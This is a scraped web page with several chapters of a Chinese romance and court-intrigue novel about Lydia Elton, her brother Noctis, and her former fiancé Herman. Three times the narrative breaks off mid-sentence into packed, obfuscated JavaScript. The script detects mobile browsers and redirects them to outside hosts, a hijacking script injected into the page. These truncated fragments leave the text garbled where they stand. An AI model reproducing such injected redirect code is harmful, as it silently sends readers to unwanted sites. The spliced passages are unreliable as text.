帝国有明确的有关继承权的律法。在没有任何遗嘱的情况下,年长的孩子是爵位的第一顺位继承人。 但如果第一顺位继承人在继承爵位期间意外身亡,同时没能留下子嗣的话,爵位将落入第二顺位继承人手中,以此类推。 因此,在过去的无数记载中,第一顺位继承人在继承爵位的一年内意外身亡,是常有的事。 贵族们也早就习惯在参加完一场葬礼之后,紧锣密鼓地继续参加第二场乃至第三场了。 顺带一提,在葬礼上看到一位带着身孕眉眼间仿佛有着化不开的忧愁但依旧美丽非凡让无数年轻人蠢蠢欲动就此坠入爱河的夫人或是凄凄惨惨无人问津的年轻男子也是常有的事。 因为帝国法律虽然不承认胎儿的继承权,但绝对严格保证每一位正在孕育生命的女性的绝对权利。想要继承爵位,就必须一同继承已经怀有身孕的遗孀,保证她的后半辈子生活无忧——除非这位夫人主动要求离开。 甚至在孩子出生之后,爵位继承者也必须将这个孩子抚养至成年。 但如果出现在葬礼上的是一位鳏夫,不好意思,帝国没有针对青壮年男性的律法保护。青壮年男性请自行寻找出路。 总之,在当年艾尔顿夫妇意外身亡,根本没来得及留下任何遗嘱,也没能提前钦定继承人的情况下,虽然诺克提斯作为第一继承人顺理成章得到了爵位,但在确定属于他的孩子出生之前,爵位和性命,随时都有可能拱手让妹。 尽管那年莉迪娅只有六岁,但在莉迪娅·艾尔顿被以寻找合适的地方养病的名义送出王城,并且在一个偏远到连一场像样的舞会都办不起来的乡下小镇生活了十年之久的时候,几乎所有人都默认她再也不会回到王城了。 诺克提斯·艾尔顿,毫无疑问是这场爵位之争的获胜者。他已经彻底将自己的妹妹逐出权力中心。 如果他足够冷血,为了以绝后患,他完全有可能让妹妹悄无声息地死亡。 许多贵族早已默认,艾尔顿家族只剩下诺克提斯一人了。 以赫尔曼现在的权力,只能查到莉迪娅当年抵达的小镇,确认她依然存活。但他怎么都没办法和他的未婚妻有更进一步的接触,连一封回信都无法获得。 赫尔曼始终对诺克提斯有所提防。他断定是诺克提斯将莉迪娅囚禁在小镇,不让她有一丝一毫撼动自己的爵位的可能。 赫尔曼甚至早早做好了计划,等他有能力与诺克提斯·艾尔顿抗衡的时候,他一定要突破重重阻碍,将自己的未婚妻迎回王城,同她举行一场盛大的婚礼,让她成为高贵的公爵夫人,将只有伯爵爵位的兄长狠狠压在脚下。 事情的发展打了他一个措手不及。 诺克提斯·艾尔顿有望被国王陛下授予爵位,成为最年轻的公爵。 诺克提斯·艾尔顿至今未娶,没有子嗣。 莉迪娅·艾尔顿即将回到王城。 莉迪娅·艾尔顿决定与他解除婚约。 将这些事情串联起来,明眼人瞬间就能得出一个非常符合逻辑的结论。 看来这位艾尔顿伯爵非常不幸地没办法成功拥有自己的子嗣,不得已只能将已经被逐出王城的妹妹重新接回来。而再次拥有继承权的莉迪娅·赫尔曼,也毫不犹豫地选择拒绝与威斯夫特公爵之子的婚约。 当公爵夫人哪有当公爵来的舒服。 所以赫尔曼认为自己又一次被狠狠背叛了。 既然莉迪娅不再是他的未婚妻,那么他就没必要对她多加照顾。既然莉迪娅已经成为几乎板上钉钉的未来公爵的继承人,那么他将会以对待未来政敌的态度来对待莉迪娅。 ——在见到莉迪娅之间,赫尔曼是这么坚定地打算的。 在圣罗帝亚学校开学的第一天,赫尔曼一句话都没对莉迪娅说,狠狠甩给她一个冷脸,留下一个冷酷无情的背影! 但现在他发现,原来他们之间的婚约,根本就不是由莉迪娅本人亲自拒绝的。 不过瞬息,赫尔曼就将矛头对准了另一个人。 “诺克提斯·艾尔顿。”赫尔曼冷声,“是他操控了这一切。” “啊?”莉迪娅呆呆地看着他,不知道为什么他突然就对兄长有了敌意,“不,赫尔曼哥哥,这是不是有什么误会,哥哥他不会这么做的……” 在赫尔曼冷冽的眼神下,她越说越心虚,声音越来越小,最后一句话几乎成了喃喃自语。 毕竟婚约确实是哥哥拒绝的。虽然哥哥一定有他的理由,但是面对被拒绝之后看起来十分耿耿于怀的赫尔曼,莉迪娅多少有点底气不足。 但她不希望赫尔曼和哥哥交恶,她挣扎着为兄长说好话:“哥哥一定有他的苦衷……” “天真。”赫尔曼迅速打断她,“你不应该盲目信任他。莉迪娅小姐,您应当对自己的处境有清楚的认知。诺克提斯·艾尔顿显然已经将你彻底蒙蔽,他这些年在王城行事狠辣——” “不可能!” 莉迪娅厉声打断他,但赫尔曼犹不满足,接着说:“我早知道他是什么样的人,心狠手辣,独断专行,无情无义……” “我不准你这样说我哥哥!!!” 几乎可以称得上尖锐的女声打断了他。 赫尔曼这才停下来,怔怔地看着面前已经明显带上怒意的女孩。 她用愤怒的眼神盯着他,一字一顿:“给我哥哥道歉!” 赫尔曼从来没见过这样的莉迪娅。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080558|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在他的印象里,她总是羞涩地笑着,对身边的每一个人散发幼稚又可笑的善意,即便是一个毫无价值的平民,一个卑贱的特招生,都能得到她好声好气的招呼。 她完全不会对任何一个人说重话,也完全学不会拒绝别人。连卡德蒙家那个假惺惺的女人虚伪至极的刻意接近都看不出来,还傻乎乎说什么“伊芙是最好最好的朋友”。 这样的莉迪娅,不可能用这个态度对他。 赫尔曼脸上有被打断的茫然,有被冒犯的不悦,有面对她突如其来的怒意的无措,但就是见不到丝毫歉意。 他完全不觉得在莉迪娅面前说她敬爱的兄长的坏话有什么不对,甚至试图再次矫正她的认知:“你不要被那个诡计多端的家伙骗——” “啪!” 一个清脆响亮的巴掌。 两个人都在这声响彻云霄的巴掌声下清醒过来。 莉迪娅捂着右手,磕磕绊绊:“你、我……你不准再说我哥哥坏话……” 她看着赫尔曼的侧脸,看到他白皙的脸颊上缓缓浮起的红痕,哆哆嗦嗦往后退了一步。 冰蓝色的眼珠子缓缓转向她。 莉迪娅扭头就跑。 * 她气喘吁吁回到舞会大厅。 一半是跑太快喘不上气,一半是被吓的。 刚刚活动过的右手的手心还残留着疼痛。力的作用是相互的,莉迪娅愁眉苦脸地想,赫尔曼的脸肯定只会更痛。 是她太冲动了。 她应该骂回去的。言语上的交锋对贵族来说再正常不过了,两个人今天反唇相讥,明天见面假装什么事都没有发生继续言笑晏晏更是常态。 她应该骂回去的。赫尔曼当她的面都要辱骂她唯一的哥哥,背地里还不知道要说些什么。她居然一句话都没骂出口,只打了一巴掌,慌不择路就跑了。 她应该骂回去的。反正那一巴掌都已经彻底得罪赫尔曼了,也不缺再多骂上几句出出气了。 莉迪娅看了看自己的右手,神色越来越凝重。 早知道骂完再跑了。 如果有选择的话,她当然很想很想和赫尔曼成为朋友。毕竟他是主角团之一,是未来会成为有史以来第一位内阁首相的人。 可是她没办法容忍赫尔曼在她面前,一而再再而三地诋毁她的哥哥。 ……她太冲动了。 莉迪娅心里乱糟糟的,一会儿想是赫尔曼太过分,一会儿懊恼自己又不管不顾感情用事,一会儿担忧哥哥以后被赫尔曼狠狠针对该怎么办。 她在大厅里站着愣神,一动不动的身影在人影交错的舞池中异常显眼。 诺克提斯不顾礼仪,从正随着音乐相拥、分离的男男女女中穿行而过,在一片不满的低声抱怨中来到莉迪娅身旁,攥着她的手腕将她带到休息区。 青年将她的魂不守舍错理解成了另一种含义。 年轻的伯爵沉下声,咬牙切齿:“他做了什么。” 莉迪娅条件反射捂住了自己的右手。 诺克提斯紧紧揽着她的肩膀,迸发出前所未有的恨意,用几乎可以隔空将人撕成碎片的眼神,扫射向入口的位置。 银发蓝眼的少年正缓步走来,在冷色系发色和瞳色映衬下一向显得霜白的肌肤,凭空染上几分血色。 18. 第 18 章 他看起来像是来寻仇的。 眼瞧着赫尔曼精准捕捉到她的位置,又快又稳地朝他们走来,莉迪娅心虚紧张到腿软,全靠哥哥搀扶的力道才稳住身形。 她知道哥哥一定是误会了,也生怕哥哥一个冲动再给赫尔曼一拳,用尽全身力气死死拽住他的手臂,小声简洁迅速地描述了事情经过:“是我打了赫尔曼一巴掌。” 诺克提斯正蓄势待发的肌肉软了下去。 这位刚才还关心则乱怒气上头的长兄,此刻低头看了一眼妹妹无辜纯洁且美丽的绿眼睛,极其冷静理智地追问:“他做了什么对不起你的事情。” “他骂你。”莉迪娅皱起鼻子,显然无法对这件事忘怀,“他当着我的面骂你。好多句。” 她强调。 紧接着,诺克提斯就看到他无辜可爱善良的妹妹,露出了非常内疚的表情,用湿漉漉的比宝石还美丽的绿眼睛看着他,用比人鱼还要甜美一万倍的声音,软声道歉:“对不起,哥哥,我给你添麻烦了。” “莉兹永远不会是我的麻烦。”诺克提斯说,“放心,我来解决。” 虽然莉迪娅觉得当面动手打了赫尔曼一巴掌,几乎等同于将威斯夫特家的脸面放在地上踩,是彻底撕破脸面的冲突。但在诺克提斯看来,这充其量不过是两家小孩之间的友好交流罢了。 反正他的莉迪娅没有吃亏,还占了上风,诺克提斯完全没了刚才打算找人麻烦的想法,率先简单粗暴地将这件事定性为“儿童玩闹过程中的小小摩擦”。 因此,在赫尔曼仿佛犹带着怒气来到兄妹俩面前时,诺克提斯非常自然地将妹妹往身后带了带,对面前这个几乎和自己差不过高的年轻人摆出了令人咋舌的慈祥面容。 “小威斯夫特。”一向冷漠寡言的艾尔顿伯爵主动寒暄,“好久不见,你长高了。” 不等他接话,诺克提斯先发制人:“我的莉兹天真可爱,你们应当相处得很愉快。” 赫尔曼明显卡壳了一下。 从他的角度,刚刚好能看到正躲在青年背后,偷偷探出脑袋观察情况的莉迪娅。 她明显正在为刚才发生的事情而心虚,鬼鬼祟祟地和他对视上,毫无防备地被吓了一大跳,睁着圆溜溜的眼睛不知所措地看着他。 赫尔曼嘴角微微抽动:“……” 他的面颊犹带薄薄的红晕,这使得青年原本淡漠的神情也变得好亲近许多。莉迪娅暗中观察,见他看起来不像是要算账的样子,于是小心翼翼地开口:“你会生我的气吗?” 赫尔曼:“……没有。” 莉迪娅纠结了一下,又壮着胆子问:“那你可以向我哥哥道歉吗?” 赫尔曼:“……” 他闭了闭眼,再睁开,对上艾尔顿伯爵似笑非笑的神情,隐忍道:“……我为先前的无礼道歉。” 莉迪娅是个非常不记仇的好孩子。 既然赫尔曼先道歉了,那么她也应该为自己的冲动道歉。 她磨磨蹭蹭从诺克提斯背后钻出来,瓮声瓮气:“对不起,赫尔曼哥哥。” 正直的莉迪娅愿意为自己的行为负责。 只是可能他们三个在这里站的时间有点久,下一秒,威斯夫特公爵爽朗的笑声近在咫尺:“我说你怎么突然结束谈话,原来是看到了可爱的小莉迪娅。” 不知道从哪里冒出来的公爵先生一手搭在诺克提斯的肩膀上,好哥俩儿似的拍拍他,以一个年长者的身份语重心长:“诺克提斯,你太紧张了,在我的庄园绝对不会出现安全问题。哦,我的小莉迪娅,和赫尔曼聊得怎么样?” 才打了别人的儿子一巴掌,现在家长就找上门来了。莉迪娅心虚又羞愧:“很、很好的,我们聊得很开心……” “哦?”威斯夫特公爵故意逗她,“真的吗?这家伙可不是什么好说话的人。” 莉迪娅支支吾吾:“只有一点点小摩擦,”她伸出大拇指和食指捏在一起比划,“一点点。我们已经和好了。” 对吧? 她祈盼地望向赫尔曼。 在三重有着完全不同含义的目光下,赫尔曼神色古怪,看上去颇为心不甘情不愿地点点头。 威斯夫特公爵觉得这场面有意思极了,继续火上浇油:“一定是赫尔曼这家伙的错,居然让小莉迪娅生气。哎呀,我的这个儿子,一点都不像我,一句好听的话都说不出来。小莉迪娅和他在一起一定很无聊吧!” 他笑眯眯低头,准备欣赏天真可爱的小姑娘无措到手脚都不知道往哪里放的模样,却连个余光都没有分给站在一边的赫尔曼。 这场面看起来怪异极了。明明赫尔曼才是他的亲儿子,但比起关心自己选定的继承人,威斯夫特公爵显然更喜欢和艾尔顿兄妹聊天。 面对父亲的无视,赫尔曼习以为常。他一言不发,沉默地跟着众人转移到休息区,安静地充当背景板。 比起参与进父亲主导的毫无意义的寒暄,赫尔曼更想弄明白另一件事。 为什么…… 他不着痕迹地看向坐在兄长身边的莉迪娅。 被她打了。但是面对她的时候,很平静。 脸上仿佛还残存着轻微的痛感。他还能回忆起她手心的肌肤和自己的脸颊触碰的感觉,那一瞬间的接触本该让赫尔曼倍感不适,可是直到莉迪娅转身跑开,他依旧呆愣在原地。 身体没有任何不适,没有不受控制的颤抖,没有冒出冷汗,没有从胃部涌上来的作呕感。什么也没有。 他很平静地站在那里,鼻尖仿佛还能嗅到她留下的气息。残存的理智不断提醒他刚才发生的事,他的灵魂和躯体在分裂,在融合,最后像狗一样狼狈地、跌跌撞撞地追逐在她身后。 自母亲离世后,赫尔曼再也无法忍受他人的触碰。一点点都不能。最开始是被灼伤,只要是被碰到的肌肤都会起水疱,然后变得焦黑、溃烂,等彻底坏掉之后再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15093541|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长出新的肌肤。 随着时间的推移,实质性的伤害反应越来越小,但心理上的问题越来越大。哪怕他人的触碰已经不会再给他带来身体上的伤害,但赫尔曼会浑身颤抖、作呕,喉管被凭空噎住一样窒息。 为了隐瞒他的古怪病症,在确认赫尔曼再也不会被灼伤之后,一夜之间,公爵庄园里所有知情的仆人消失得一干二净。 这些年来,人们只知道赫尔曼不喜和别人亲近,永远规规矩矩穿着全套华服,将自己从头到脚裹的严严实实。只有作为他的好友兼跟班,偶然撞见过他浑身颤抖在角落缩成一团的兰登隐约猜出过一点内情。 赫尔曼几乎已经习惯这种生活了。只是不能直接接触而已,这在贵族们千奇百怪的怪癖中毫不起眼。丝毫不会对他的生活,对他的地位产生任何影响。 但是当莉迪娅的手和他的脸颊接触的那一刻,沉寂的灵魂猛然战栗,身体和灵魂同时叫嚣。 赫尔曼迫切地需要弄明白原因。 他安静地站在父亲身后,将他们毫无意义的谈话过滤到脑后,在整个灰暗的视野中,只有她规规矩矩放在裙摆上的手拥有独特的颜色。 请再…… “你知道这场舞会真正的发起人是谁。”威斯夫特公爵将红酒一饮而尽,继续刚才的谈话,“不光教廷有动作,连我们敬爱的陛下这些年也逐渐有慈父之心了。” 诺克提斯递给妹妹一杯饮料:“如果陛下足够理智,他就知道这个时候不应该再做多余的事情。” “可惜你猜错了。等着吧,过两天,陛下会在王宫里举办一场更加盛大的舞会——以王后的名义。” 听到和姨母有关的消息,莉迪娅扯了扯哥哥的袖子,等他解释。 现任王后,是已经离世的艾尔顿伯爵夫人的亲妹妹,诺克提斯和莉迪娅的姨母。 王后和亲姐姐的关系很好,对姐姐留下的一双儿女同样照顾有加。当年多亏了王后的照拂,诺克提斯才能成功守住父亲留下的爵位和家产,莉迪娅才能被安全地送到边陲小镇养病。 但是这两年王后的身体每况愈下,莉迪娅回来之后一直没能找到机会探望姨母,今天才终于听到了一点消息。 诺克提斯组织了一下语言:“你知道的,莉兹,在许多年前,在迎娶我们的姨母之前,国王陛下曾有过第一任王后。” 尽管谁也没见过第一任王后到底长什么样,但是在当年国王陛下刚刚继承王位的时候,那位凭空冒出来的王后的消息可传得沸沸扬扬,几乎全城都在盛传年轻的国王陛下被一个来路不明的女人迷得神魂颠倒的消息。 莉迪娅也听说过这个故事。而且不止知道这件事。此时此刻,她的心怦怦跳起来。 她已经有预感,哥哥接下来要提及的人是谁了。 诺克提斯:“第一任王后曾生下过一个孩子。我们都以为那是个死胎,但是很遗憾,他还活着——并且已经成功活到成年。” 19. 第 19 章 莉迪娅有两位表兄弟。 现任王后生育了两个孩子。大王子已满二十,两年前出门游历,目前不在王城。 小王子比莉迪娅还要小两岁,然而这个才十四岁的少年却顽劣到足以让整个王城为之头痛。就在莉迪娅回来的前一天,小王子因为纵火烧了王宫里的图书馆被罚关了一个月的禁闭。 莉迪娅和这两位表兄弟相处的时间不多,但感情甚笃。她还记得小时候,每次见面大王子都会专门给她带一束只有王后的花园才能培育出来的鲜花,而小王子则是她的专属小跟屁虫,留着口水抱着她叫姐姐。 国王和王后的感情很好。一母同胞的兄弟俩同样亲近彼此,不出意外的话,仁慈宽容的大王子应该是王位名正言顺的第一继承人。 但是莉迪娅知道,最终坐在王位上的不是大王子,也不是小王子。而是国王的第一个孩子,书中所写的主角团的最后一名成员,塞缪尔·布兰多尔。 当然现在,在还没得到正式承认之前,他还无法被冠以布兰多尔这个传承多年的王室姓氏。 听到诺克提斯终于在她面前提起这位从未被大众知晓的神秘王子,莉迪娅很努力地让自己露出吃惊的表情:“第一任王后的孩子?” 诺克提斯点头,再度强调:“一个已经成年的,国王陛下的第一个孩子。” 虽然艾尔顿家是不折不扣的国王陛下的派系,但这都是以他的姨母,现任王后的孩子会继承王位为前提的。 对艾尔顿兄妹来说,如果这个横空出世的王子拥有继承王位的资格、成为第一顺位继承人,作为现任王后的亲属,诺克提斯会想尽一切办法,让这位王子彻彻底底失去继承资格。 事实上,在前几世中,不论安古因斯和同伴们为了拯救世界做出什么改变,艾尔顿家唯一的后代,诺克提斯·艾尔顿都会成为他们的敌人。 得到认可成为最年长的王子的塞缪尔,曾数次陷入死亡的绝境。甚至在现任王后的第一个儿子、原本的大王子意外身亡后,针对塞缪尔的迫害越来越多。而直到第三世,主角团才终于找到诺克提斯动手的证据。 可惜有王后这样一层关系在,哪怕证据确凿,诺克提斯仅仅只是被剥夺了公爵爵位,降为伯爵,被发配到边陲小镇,永远不得再进入王城而已。 尽管莉迪娅有幸读到了那本神奇的书,但是她并不清楚这其中的诸多细节。除了四个主角团的成员之外,扉页上对其他人的描写少之又少。她甚至不清楚姨母与两位表兄的结局,只知道最后会由那位塞缪尔继承王位。 不论从哪个角度来看,还没见过面的塞缪尔王子都和兄妹俩站在了对立面,除非他自愿放弃继承权。 ——这可能吗? 莉迪娅觉得事情又变得棘手起来。 诺克提斯不知道她的担忧,继续给妹妹解释:“三天前,国王陛下才告知我们这个孩子的存在。并且希望能公开承认这个孩子的身份。” 讲到这里,诺克提斯停顿了一下,看着妹妹脸上若有所思的神情,轻声问道:“莉迪娅想说什么?” 莉迪娅看了哥哥一眼,又看了对面含笑鼓励自己的威斯夫特公爵一眼,这才犹豫开口:“那……卡洛维斯哥哥以后就不是大王子了吗?” 诺克提斯点头,知道聪明的妹妹已经立刻抓到了最重要的问题:“是,如果那样的话,卡洛维斯将失去第一继承人的身份——” 他停顿了一下,似在考虑要不要将后面的事情告诉妹妹。 在他做出决定之前,威斯夫特公爵顺着他的话继续往下说:“好在,放心吧,小莉迪娅,陛下曾向我们保证,在他心中,卡洛维斯永远是他最属意的继承人。” 莉迪娅肉眼可见地松了一口气。 诺克提斯皱眉看了威斯夫特公爵一眼,露出不赞同的眼神:“你不应该给她灌输这种想法。” “哎呀,让小莉迪娅安心嘛,有什么不好的。”威斯夫特公爵懒懒散散,“你难道忍心看可爱的小莉迪娅为了这种事,以后整天胡思乱想吗。” 诺克提斯不搭理他,重新组织语言,既然有人已经把话题挑明,他也不打算含糊过去,斟酌用词,尽量解释得不那么残忍:“陛下并没有现在就立遗嘱的打算,他只是在与我们闲谈时透露过这类想法,但是,莉迪娅,你知道的,只要没有公开的遗嘱,私下闲谈并不能得到继承法的认可。 “很遗憾,在陛下主动提起自己的意愿之后,我们就更没有了公开提醒陛下立遗嘱的权力——尽管我们都知道,卡洛维斯就是最好的继承人。 “但是,莉迪娅,你知道的,这个世界从来不缺少意外。” 莉迪娅的心又一次被提起来:“如果……如果国王陛下……王位将会落到……” 所以,那本书里才会写,最后是塞缪尔继承了王位吗? 诺克提斯摸了摸妹妹的头:“是的,所以我们绝不会允许这种情况发生。” 他本不想将自己丑陋的一面展现在妹妹眼前,可是如今的局势越来越复杂,在他决定将妹妹接回王城之后,就注定她会接触到这些事情。 与其以后被迫接受,不如现在就让她慢慢习惯。 “不要想太多,莉兹。”诺克提斯说,“那本来就是个死胎。” 威斯夫特公爵轻笑一声。 …… 舞会结束,回去的路上,兄妹俩坐在马车里,各自闭目假寐。 莉迪娅心里乱糟糟的,她发现原来比起自己努力躲过死亡结局,居然还有更艰难更复杂的事情等着她来做。 她该怎么样才能说服哥哥,不要对塞缪尔下手? 兄长的披风正被她当做小毯子盖在腿上,莉迪娅揪着披风想了又想,还是没能编出一个合理的说辞。 “在想什么?” 突如其来的问话将她从纷杂的思绪中抽离,莉迪娅看向兄长,试图继续舞会上谈论的话题:“哥哥,真的必须要那样做吗?” “就算那个人会成为法定意义上的第一顺位继承人,但是如果,”莉迪娅磕磕绊绊说,“如果国王陛下能及时立下遗嘱呢?又或者……他会放弃王位呢……” “莉兹。”诺克提斯平静地打断她。 莉迪娅泄气,明白自己刚才的问题实在太过愚蠢。 诺克提斯知道,一向天真善良的妹妹很难立刻接受这些事情,他示意莉迪娅坐到身边来,兄妹俩紧紧挨着对方,头碰头轻声低语:“莉迪娅,这世界上的很多事情,往往都不能顺着我们的心意发展。人心是最复杂也最难掌控的东西。哪怕是我,也不能保证能永远保护你。” “哥——” “嘘……听我说。”诺克提斯抬手抵住她的唇,“现在,你可以相信我。但除了我以外,不要轻信任何人……哪怕那个人身上流淌着与我们相同的血液。” 莉迪娅不愿意细想兄长话中的深意,她向唯一的热源靠近,想要将自己蜷缩进令人安心的巢穴。 诺克提斯继续说:“威斯夫特公爵同样不可信。放心吧,我不会在这个时候对那孩子动手,起码不会在卡洛维斯回来之前动手。我们的国王陛下很健康,也很清醒。反倒是威斯夫特……” 他眯了眯眼,没有将自己的猜测说出口,只是叮嘱莉迪娅离他们家的人远一点——尤其是小威斯夫特,最好一句话都不要多说。 诺克提斯说了很多话。也许是今晚喝了太多的酒,她依偎在兄长怀里,听他一点点掰碎给自己分析王城如今的局势,又透露了不少他未来的安排。 然而莉迪娅越听越心惊。她知道哥哥此刻很可能已经不自觉站在了主角团的对立面。尽管纵观全局,诺克提斯走的每一步都极其顺应当下的局势,他的所有计划几乎都能为他们带来最大的利益,但是已经提前预知未来的莉迪娅无比清晰地认知到,未来会发生所有人都无法预料的前所未有的改变。 那些被当做睡前故事的如童话一般的传说,都会在未来一一应验。 而她的兄长——她绝不会让哥哥再陷入下落不明、生死不知的境地。 她确实不懂那些弯弯绕绕,也没有哥哥那样敏锐的政治嗅觉。莉迪娅不会在什么也不懂的情况下干预哥哥的决策,她只是想用自己最大的努力,给哥哥提供更多的线索。 最起码,不要犯下无法弥补的错误。 “哥哥。”莉迪娅轻声说,“回家的第一天,我做了一个梦。” 她的这个话题来的突兀,诺克提斯却忽然捏紧她的手臂,似乎预感到了什么,屏息凝神,细细聆听妹妹说的每一个字。 “我梦见……” “唔!” 心脏猛烈跳动,刺痛感从胸口密密麻麻向四肢扩散,血管中流淌的血液骤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她笑了一下,用残存的一点力气抬手抚摸兄长的脸颊:“哥哥,我永远都会相信你。” “……你永远都可以相信我。” * 第二天,兄妹俩在餐桌上相遇,默契地略过了马车上的事。 诺克提斯仍不大放心她的身体,上下扫视,仔细检查她的情况。 昨晚莉迪娅说完最后一句话之后就直接昏睡过去,又险些将诺克提斯吓到。好在随之而来的平稳呼吸彰显了她的好眠。 诺克提斯独自愣神了好一会儿,等回到庄园,才摇头苦笑着将妹妹打横抱回房间。 看来这段时间在莉迪娅身上发生了太多他所不知道的事情。既然她没办法全盘告知,诺克提斯也不会去刨根究底。只管听妹妹的话,再重新安排计划。 在诺克提斯重新审视王城的风向时,莉迪娅也在为自己的计划而努力。 她和赫尔曼的关系莫名有了巨大的改善。在神学院的教室里相遇的时候,赫尔曼甚至会主动向她点头打招呼——伊芙对此表现出了极强的警惕,已经不下五次在莉迪娅耳边念叨要她远离不怀好意的家伙。 但莉迪娅觉得这是个好现象。她觉得赫尔曼是个比外表看起来要宽容得多的人,还在伊芙面前说了他不少好话,试图让好友对他改观。 只是不知道为什么,总感觉每次和赫尔曼相处的时候,对方的眼神总是会若有若无地飘到她手上。 难道是在担心她还会打他吗? 莉迪娅脸红红的,心想一定要找时间再好好向他道歉。只要他不说哥哥的坏话,她绝对不会无缘无故打人的。 与此同时,能进入神学院的五个名额也终于抉择出来了。安古因斯作为第一名赫然在列。 只等第二天,已经被认定为艾尔顿小姐的附庸的安古因斯就能顺利进入神学院。 莉迪娅对此颇为期待,安古因斯是个很好相处的人,不论她说什么,他都安静地听着,然后点头说好。只可惜神学院的高塔太远,两人见面的机会很少很好。 等这回安古因斯再进入神学院,一定不会被欺负了吧! 一切都在朝好的方向发展。 恰在这天晚上,王宫里召开了一场宴会。 20. 第 20 章 这次出发的时间和上一回截然不同。 莉迪娅早早换好了衣服,连带着几次去哥哥的房间敲门,推门进去探出个脑袋催促他早点出发。 诺克提斯敌不过闹腾的妹妹,只好草草收拾桌上的公文,赶在天黑之前就乘坐马车进入王宫。 在舞会正式开始前,他们能有大把的时间和王后相处。 王后是一位非常美丽的妇人,金发的光泽比珠宝更璀璨,碧绿的眼睛里承载着独属于母亲的温柔。 她和亲姐姐十分相像,同样,艾尔顿兄妹的五官也与她相似。 尽管没办法离开王城前往那么偏远的地方探望莉迪娅,但这些年,王后一直有给莉迪娅写信。在莉迪娅成长的过程中,比起姨母,王后更像是承担了母亲的职责。 “莉兹,我的莉兹。”一见面,穿着华贵的美丽夫人就将莉迪娅拥入怀中,女性长辈独有的沁香包裹住她,“我可怜的莉兹,哦我的天,让我瞧瞧,长高了,也长大了。” “小姨。”莉迪娅软乎乎地喊,腻在她怀里,“我好想你,好想好想好想你。” 她一连说了好多个“好想”,把王后感动得泪眼汪汪:“好孩子,好孩子,真是受苦了,我的好孩子。” 两个美丽的女性亲亲热热抱在一起,十年的分离并不能磨灭她们的感情,她们像从来没有分别那样亲昵,又因多年未见有着说不完的话。 高大英俊的诺克提斯被完全冷落在一旁,他也不尴尬,反倒十分自在地给自己倒了杯茶,看起来很有些怡然自得。 他的这位姨母向来感情充沛,听说当年她和国王陛下是自由恋爱,两人从相识相爱到步入婚姻,一直都甜甜蜜蜜顺顺利利,哪怕结婚多年,两人的感情也热烈依旧。 这也使得这位久居王宫的长辈至今仍保留了少女时期的那份天真,对情感的表露热烈外放,同诺克提斯记忆中含蓄内敛的母亲是截然相反的类型。 诺克提斯非常不擅长应对这位姨母热烈的感情。 以往他每次进王宫,顺路来见王后的时候,都会被热情的姨母按头抱在怀里,极其顺手地呼噜他的短发,将原本打理妥当的头发摸到每一根发丝都翘出桀骜不急的弧度。 诺克提斯小时候还会象征性地挣扎反抗,等妹妹出生后,被呼噜噜撸毛的人就换成了莉迪娅,这让他大松一口气。 可惜在莉迪娅六岁被送出王城后,姨母对姐姐的怀念、对小侄女的疼爱又尽数转移到了诺克提斯身上。十六岁的少年没办法抵抗姨母的眼泪,只能面无表情假装自己是根木头,任由头发被摸到全部反翘。 幸好妹妹回来了。 诺克提斯喝了一口茶水,掩盖住勾起的唇角。 王后将可爱的小侄女抱在怀里好一通亲热,接连在她的额头、鼻尖和脸颊印上好几个唇印后,才将人稍稍放开细细打量。 “比小时候瘦多了。”她抚摸莉迪娅的脸颊,看着看着,眼泪就下来了,“像,和姐姐长得一模一样,真像。” 莉迪娅晕晕乎乎站定,还没从王后给的热情中缓神,就看到她眼泪簇簇,透过自己在怀念故人。 她连忙拿出帕子,心疼地给王后擦眼泪:“小姨不哭,妈妈一直在天上看着我们的。” 小时候她哭闹着想要妈妈,小姨寄来的书信里就是这样安慰她的。 如今,当年小小的孩子长大了,有学有样也用同样的方式安慰亲人。 王后破涕为笑,接过帕子擦干眼泪,复又将莉迪娅抱进怀里,搂着她连声说:“还是莉兹好,还是我的莉兹好。你哥哥成天不是王后就是姨母,都把我叫老了。” 没想到什么也没做都能被牵连,诺克提斯无奈地放下茶杯,瓷器轻轻落在石桌上,没有发出一点儿声响。 王后搂着莉迪娅,佯装抱怨:“莉兹,你瞧,他肯定是嫌我们烦了。” 诺克提斯愈发无奈。 难得看哥哥吃瘪,莉迪娅躲在王后怀里偷偷笑了一会儿才出来解围:“哥哥才不会嫌弃我们,小姨你知道的,哥哥一定是害羞啦。” 她冲诺克提斯眨眨眼睛,王后也故作期待地看着他。 在一大一小两位女性相似面容的注视下,诺克提斯干咳一声,略显别扭地喊了一声“小姨”。 “哎!”王后忙不迭连声答应,这回又搂着莉迪娅说悄悄话,“你哥哥还是和小时候一样好玩。” 知道她们一定又在谈论自己,诺克提斯摸摸鼻子,眼观鼻鼻观心只当什么也听不见,继续细细品味手上的红茶。 